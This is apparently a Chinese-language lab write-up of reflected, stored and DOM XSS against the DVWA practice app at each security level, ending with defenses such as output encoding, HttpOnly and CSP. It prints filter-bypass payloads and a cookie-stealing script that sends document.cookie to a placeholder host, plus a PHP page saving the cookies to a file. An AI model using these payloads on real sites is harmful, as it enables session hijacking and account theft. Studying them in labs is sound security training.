XSS简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS
DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生
常见XSS利用方式
<script>alert('1')</script>
<img src=1 onerror=alert('xss')>
<DIV style="background-image:url(javascript:alert('1'))">
<iframe onload=alert(1)>
<table>、<a>、<ul>等标签也可利用
反射型XSS

LOW级别
输入<script>alert('xss')</script>,成功弹框

输入<script>alert(document.cookie)</script>,获取cookie

XSS的一般收集方式
设计
XSS注入代码1
<script>document.location='http://xxx.com/xss/HACK.php?x='+document.cookie;</script>
访问
http://xxx.com/xss/HACK.php这个网址,并且通过x传递一个变量,即要收集的cookie收集
cookieHACK.php页面代码如下:1
2
3
4<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>
Medium级别
输入
<script>alert('xss')</script>,失败
发现
<spirt>标签被过滤双写绕过过滤
输入
<scr<script>ipt>alert('xss')</script>,成功弹窗
大小写混淆绕过
输入
<ScRipt>alert('xss')</script>,成功弹窗
High级别
查看源代码

High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效
输入<img src=1 onerror=alert('xss')>,成功弹框

输入<iframe src=1 onload=alert('xss')>,成功弹窗

Impossible级别
查看源代码

Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、"、'、<、>转换为 HTML实体,防止浏览器将其作为HTML元素
存储型XSS

LOW级别
查看源代码

message一栏输入<script>alert('xss')</script>,成功弹框

name一栏前端有字数限制,抓包改为<script>alert('name')</script>,成功弹窗


相关函数介绍
trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符
mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义
stripslashes(string)函数删除字符串中的反斜杠
Medium级别
查看源代码

对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型XSS
双写绕过
抓包改
name参数为<sc<script>ript>alert('xss')</script>,成功弹窗

大小写混淆绕过
抓包改
name参数为<Script>alert('xss')</script>,成功弹窗

相关函数说明
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
High级别
查看源代码

name使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS
抓包改name参数为<img src=1 onerror=alert(1)>


Impossible级别
查看源代码

通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS
DOM型XSS
LOW级别
页面本意是用于修改语言
对default参数进行构造<script>alert('XSS')</script>

查看网页源代码,JS脚本插入到<option>标签中,被执行

Medium级别
查看源代码

使用了stripos 用于检测default值中是否有 <script,如果有的话,则将default=English
对
default参数进行构造<img src=1 onerror=alert('XSS')>,失败
查看源代码
发现
JS语句被插入为<option>的value值,未被执行
要使
JS语句执行,应先闭合<option>标签对
default参数进行构造></option><img src=1 onerror=alert('XSS')>
执行失败,查看源代码

JS代码被执行为<option value="></option><img src=1 onerror=alert('XSS')>">></option>JS代码中只有>被插入到option标签的值中,因为</option>闭合了<option>标签,所以<img>标签并没有插入继续闭合
<select>标签,使得<img>标签为独立的语句对
default参数进行构造></option></select><img src=1 onerror=alert('XSS')>,成功弹框
查看源代码,
JS代码已被执行
High级别
查看源代码

使用switch设置白名单,只允许传的default值为 French、English、German、Spanish其中一个
构造语句为?default=English #<script>alert(/xss/)</script>

写入效果为
1 | <option value=''>English #<script>alert(/xss/)</script></option> |
注释部分的javascript代码不会被传到服务器端,DOM型XSS注入直接获取URL地址内容,则被执行
Impossible级别
不在客户端做任何事
XSS防御
对输入和
URL参数进行过滤(白名单/黑名单)对输出进行编码
在服务器端对
Cookie设置HttpOnly属性使用自动编码的安全框架
使用内容安全策略(
CSP)